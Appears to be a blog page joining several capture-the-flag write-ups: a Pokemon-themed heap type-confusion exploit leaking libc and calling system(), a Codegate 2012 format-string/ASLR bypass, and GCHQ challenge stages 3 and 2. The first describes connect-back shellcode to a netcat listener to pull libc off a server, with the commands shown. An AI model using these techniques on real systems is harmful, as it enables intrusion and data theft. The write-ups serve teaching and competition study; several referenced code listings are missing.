0x22272020? That looks like ascii!

$ echo -ne '\x20\x20\x27\x22'
  '"

Space, space, single quote, double quote. That looks suspiciously like the ascii art we see above! And, in fact, it is! The artwork pointer of the Charizard we just caught overwrote the function_status pointer of the next Pokemon. Then, when we attempted to call function_status, it called some ascii art and crashed.

Here’s what the memory layout is, essentially:

          [lower addresses]                                                     [higher addresses]
          +--------------------------------------------------------------------------------------+
Kakuna:   |name|artworkar|health|power|actions|fcn_status| [...]                                 |
          +----+---------+------+-----+-------+----------+---------------------------------------+
          +----+---------+------+-----+-------+-----------+------+-----+-------+----------+------+
Charizard:|name|artworkartworkartworkartworkartworkartwork|health|power|actions|fcn_status| [...]|
          +----+------------------------------------------+------+-----+-------+----------+------+
          [lower addresses]                                                     [higher addresses]

When the Kakuna is replaced by a Charizard, the program still thinks that the Pokemon is a charizard. Then, when it calls fcn_status(), it’s actually calling an address pointer read from the artwork. If you look at the diagram above, you’ll see that the same place that Kakuna stores its fcn_status pointer, Charizard stores its artwork.

The best part is, we can change the artwork! And therefore, we can change what Kakuna thinks is the function pointer! Check this out:

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

5
Choose a Pokemon!
1. Bird Jesus
2. char

3. 1

4. 1

5. 1

2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I'm sure you'll love to show this new art to your friends!

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

3
Here are all of the stats on your current Pokemon!
Name: Bird Jesus

[...ascii art...]

Current Health: 960
Attack Power: 20
Attack: Gust
Segmentation fault (core dumped)

$ gdb -q ./kappa-fixed ./core
Core was generated by `./kappa-fixed'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

Sure enough, we can control the call (and therefore EIP) by overwriting the function pointer!

The deep blue libc

All right, we have EIP control, but that was only half the time I spent on this level! The other half was trying to figure out what to do with libc. Basically, I can cause a crash here:

.text:08049075                 mov     [esp], edx
.text:08049078                 call    eax

Where ‘edx’ is a pointer to the full structure—the name, etc.—and eax is fully controlled. That means we can call an arbitrary function and pass an arbitrary string value as the first parameter. system(), anyone?

The first thing we tried was jumping to the heap. Suffice to say, that failed. So we had to be more clever and use a return-into-libc attack. The problem was, we didn’t know where libc was!

Remember earlier when I said that actions was an important field? Well, the actions field, normally, is a pointer to the action that the Pokemon can take. Did you see under Bird Jesus’s status where it said Attack: Gust? Well, that’s reading a string pointed to by our struct. By using the same overflow we were using before, we can change where it reads that string from!

To put a kink in it, it’s actually dereferenced before being read. Which means that whatever we point it to will be dereferenced then printed. So, it’s a pointer to a string pointer. Meaning we can only read memory if we have a pointer to it!

For our attack, we need a pointer to libc. Luckily, we have the ever-handy Program Relocation Table sitting around, with calls such as this:

.plt:08048510 _read           proc near               ; CODE XREF: sub_8048960+1DCp
.plt:08048510                                         ; do_change_artwork+5A6p
.plt:08048510                 jmp     ds:off_804AEB4
.plt:08048510 _read           endp

The machine code for making that jump is actually FF 25 B8 AE 04 08. The last 4 bytes—B8 AE 04 08—refer to the address 0x0804aeb8. That address, in turn, stores the actual relocation address of the read() libc call! We chose read() because it happened to be the first one, and it just happened to be the one we grabbed. We could just of easily have used printf() or any other libc function.

To rephrase all that, we can set the Pokemon’s action to a pointer to a string pointer. If we use 0x08048510+2, then we’re setting it to a pointer to 0x804AEB4, which in turn is the read() libc call. Then when it tries to print, it’s going to print the address of read() (and also printf() and some other functions) as a string, until it reaches a NUL byte!

Here’s what it looks like:

...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
Current Health: 69
Attack Power: 9999
Attack: P l\xB7\xB0\xC3d\xB7@Hg\xB70\x98g\xB7 Df\xB7f\x85
Name: Kack2
...

Remember the series of ‘A’s is the altered artwork. And “P l\xb7” works out to “50 20 6c b7”, or “0xb76c2050”, a perfectly reasonable pointer to a libc function!

Pwnage

All right, we’re just about done! We have an offset for libc’s read() function, but what about system()?

This is where we cheated a bit. And by cheated, I mean use a common CTF technique: We stole a copy of libc from ezhp‘s level!

To do this, I re-exploited ezhp, and used connect-back shellcode to netcat that I had running. The netcat was logging into a file using the “tee” program:

nc -vv -l -p 55555 | tee libc.hex

Then once I’d exploited ezhp and gotten a shell back on that netcat instance, I used ‘ldd’ on ezhp’s binary to find libc:

ldd ezhp
        linux-gate.so.1 =>  (0xb7759000)
        libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7600000)
        /lib/ld-linux.so.2 (0xb775a000)

Then printed libc.so.6 out in hex:

xxd -g1 /lib/i686/cmov/libc.so.6 | head
0000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00  .ELF............
0000010: 03 00 03 00 01 00 00 00 00 6e 01 00 34 00 00 00  .........n..4...
0000020: fc 36 14 00 00 00 00 00 34 00 20 00 0a 00 28 00  .6......4. ...(.
0000030: 45 00 44 00 06 00 00 00 34 00 00 00 34 00 00 00  E.D.....4...4...
0000040: 34 00 00 00 40 01 00 00 40 01 00 00 05 00 00 00  4...@...@.......
...

Then terminated the connection.

At this point, I had a fairly dirty libc.hex file. I opened it up in vim, removed everything except the hexdump, and saved it. Then I converted it back to binary:

xxd -r < libc.hex > libc.so.6

And now I had a pretty typical libc.so copy from the server, and sure enough it was right! Once I had it, I calculated the offset between read() and system(), which turned out to be 0x8b500 bytes.

I then used the following pseudo-code:

return_address = read_address - 0x8b500

to calculate the return address. I set the name of my Pokemon to the command I wanted to run (since the name is the first argument passed into the function). And I ran it!

Because the name of the Pokemon was limited to 15 characters, I ended up using the command ls -lR / to find the flag, which gave me a 2.8mb directory listing of the server:

$ ls -lh dirlisting.txt
-rw-r--r-- 1 ron ron 2.8M Apr 12 22:47 dirlisting.txt

Which turned out to be in /home/kappa/flag. Then, I printed it out using “cat ~kappa/f*”.

And that was it!

Conclusion

So basically, we could cause the program to mix up the structure types. We used that to create an arbitrary indirect read, which we used to find the read() function, and therefore the system() function. Armed with that, we used the structure mix up to overwrite a function pointer and call system() with arbitrary commands!

Codegate Quals 2012: Vuln 500

This is my writeup for the Vuln 500 challenge in the Codegate Quals 2012 competition.

The vulnerability is a straight forward format string vulnerability in a SUID Linux/x86 program. Since ASLR & NX was activated, it was not quite as straight forward to exploit though. Since partial RELRO was used as well, DTORS was read-only, but the GOT still writable. The only function call after the vulnerability is triggered is to __stack_chk_fail() though, and this is only called if the stack cookie for main() has been corrupted.

One way to exploit this vulnerability would be to use a ROP based payload, chaining gadgets from within the (non-randomized) .text section of the binary, and/or from glibc by bruteforcing its base address. Since a pointer to the format string was passed as the first argument of printf() right before this, we can return directly into system() which will use the format string pointer as its argument. This makes things a whole lot easier for us. 😀

We still have to overcome the ASLR though, and we need to overwrite both the stack cookie on the randomized stack and the GOT-entry for __stack_chk_fail() with the address of system() in glibc which has a randomized base address. Looking at the stack pointer value between different executions about 20 bits of its address seems to be randomized though, and about eight bits of the glibc base address. This means that a bruteforce attack will take quite some time, unless we can figure out a way to exploit it more efficiently.

Fortunately, there are a few shortcuts. First of all, instead of overwriting the stack cookie on the stack, we can overwrite the value it checks the cookie against instead. This is stored at %gs:0x14, which is mapped to an address that is randomized as well, but that always seems to be located at a fixed offset beneath the glibc base address. See example below, the cookie is always stored at the system() address minus 0x39a2c in this particular program. This means we only have to bruteforce the glibc base address, which only has about eight bits randomized.

Using this, we can exploit it in within a couple of hundred attempts, which doesn’t take long. Note that we will use system-5 instead of the direct address of system(), since the latter happens to contain a NUL-byte, and the instruction at system()-5 is “harmless” (it just moves zero to edi, and does not dereference memory or anything else that might cause a crash).

There is, however, an even better way to do it. When “ulimit -s unlimited” / setrlimit(RLIMIT_STACK, {RLIM_INFINITY}) is used to make the stack as large as possible, glibc will always be mapped at the same address. This means we don’t have to do any bruteforcing at all, so our exploit will always work on the first attempt. In this case, the cookie at %gs:0x14 moves to a fixed address mapped after glibc instead of before it though.

Since my test program and the vulnerable programs are both linked to the same libraries, the addresses will be the same.

The last address we need to determine is the address to the GOT-entry for __stack_chk_fail():

The final version of my exploit is as follows:

This is the output when running it:

GCHQ Challenge Solution – Stage 3

The final stage of the GCHQ challenge was a small (5kB) x86 Windows/cygwin binary. Analyzing it in IDA Pro, I could see that it expects a 24 byte license file with the following format:

The above could be deduced from the following reverse-engineered code:

If a valid license is found, it calls a function that requests the following URI from the specified host (which should obviously still be www.canyoucrackit.co.uk): /hash/A/B/C/key.txt

Where:

  • A = 32-bit hex key from stage 1
  • B = 32-bit hex key #1 from stage 2
  • C = 32-bit hex key #2 from stage 2

Note that the hash itself is used, and not the password corresponding to the hash. Misdirection, again, in order to waste some time for those who didn’t bother to actually understand the code.

It’s now clear that we need two 32-bit values that somehow relates to stage 2, and the so called “firmware” array is a rather obvious choice. It consists of two 32-bit values, and it wasn’t used in the stage2 challenge itself. We also need one 32-bit value from stage 1. Remembering that the payload actually starts out with a “useless” jump over four bytes (e.g a 32-bit value) that are never used in any way, this is quite an obvious choice as well.

This gives us the following URL:
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt

Which contains the following key:
Pr0t3ct!on#cyber_security@12*12.2011+

When entering the correct keyword, we get this page:
http://www.canyoucrackit.co.uk/soyoudidit.asp

“So you did it. Well done! Now this is where it gets interesting. Could you use your skills and ingenuity to combat terrorism and cyber threats? As one of our experts, you’ll help protect our nation’s security and the lives of thousands. Every day will bring new challenges, new solutions to find – and new ways to prove that you’re one of the best.”

Interestingly, the salary for the “Cyber Specialist” position at GCHQ is £25,446 for a GC10 (Executive Officer) and £31,152 for a GC9 (Higher Executive Officer). Comparing this with the salaries in the corporate world makes it quite clear why GCHQ has to try so hard to find competent people to recruit. After all, for people with skills there are lots of opportunities for interesting work with a much higher paycheck. For juniors with potential, but no real experience, it might be an interesting opportunity though. I’m sure that the work can be quite stimulating. 🙂

GCHQ Challenge Solution – Stage 2

After cracking stage 1 of the GCHQ challenge, we get the URL to the Javascript code available here.

It defines a virtual machine with four general registers, two segment registers, one flag register and of course the instruction pointer. It also includes an array of two values named “firmware”, which seems rather strange. These values are not used, nor mentioned in the definition of the virtual machine that is included in a comment further down in the javascript code. The use for these values will actually become apparent in the third and final stage.

Besides specifying the register values and an array with the current memory contents, there is a 54 line comment describing the virtual machine architecture, the instruction encoding and the instruction set:

As you can see, it then throws an exception saying that VM.exec is not yet implemented. Our job is to implement this function, based on the information provided in the comment, and executing the embedded code in our virtual machine to see what it reveals. Although I don’t really see how this would provide a demonstration of anything but quite basic skills, I decided to play along and continue with the challenge. I decided to make a C implementation instead though.

First, I decided to only implement a disassembler and reverse-engineer the code by hand instead of actually implementing the virtual machine. After finding out that the initial piece of code actually decrypts the next part of the code, and that the decrypted code decrypts a string, I decided to actually implement the VM instead of just a disassembler.

Corresponding C-code:

The decrypted code is as follows, and quite similar to the previous code:

Corresponding C-code (sort of):

The instructions at 0x0112-0x0114 are not necessary, and could either be there for misdirection or possibly to indicate a hidden challenge. Further signs of this lies in the fact that there are a couple of instructions further down that are never executed:

There is also a 0xcc at 0x0140, that isn’t even a valid a valid instruction in the instruction set for the virtual machine, but corresponds to a breakpoint in x86 assembler. Last but not least there are large chunks of memory that are neither read, written or executed. First of all, there are some zero bytes that are obviously just there for filling. What is more suspicious are these:

There are some interesting patterns in this data, especially when interpreting it as three 112 bytes chunks. Each chunk consists of 20 bytes < 0x80, 25 bytes >= 0x80, 26 bytes < 0x80, 26 bytes >= 0x80 and finally 15 bytes < 0x80. In other words, there is a pattern in which bytes have the most significant bit set in each of these chunks. This pattern could be the result of each chunk being XOR-encoded using the same algorithm as has been used in the previous code, with some specific start and step values. I decided not to waste any more time on this track unless the challenge seemed to lead to a dead end though. After the second decryption loop it will reveal the following string at 0x01b0:

Yet another URL, this time to an x86 Windows/cygwin executable. To get this string I could just have dumped the virtual machine memory after execution, since I had already reverse-engineered the code I decided to get each character after it has been decoded by reading r0 at ip = 0x010c (0x010c == 268), using the code available here.

Note that I have not bothered to implement any bounds checking when reading values from memory, so running the VM on arbitrary/random code will most likely result in a crash. 🙂 In this case I had already seen that the code was “well behaved” and just wanted to go on to the next stage of the challenge though.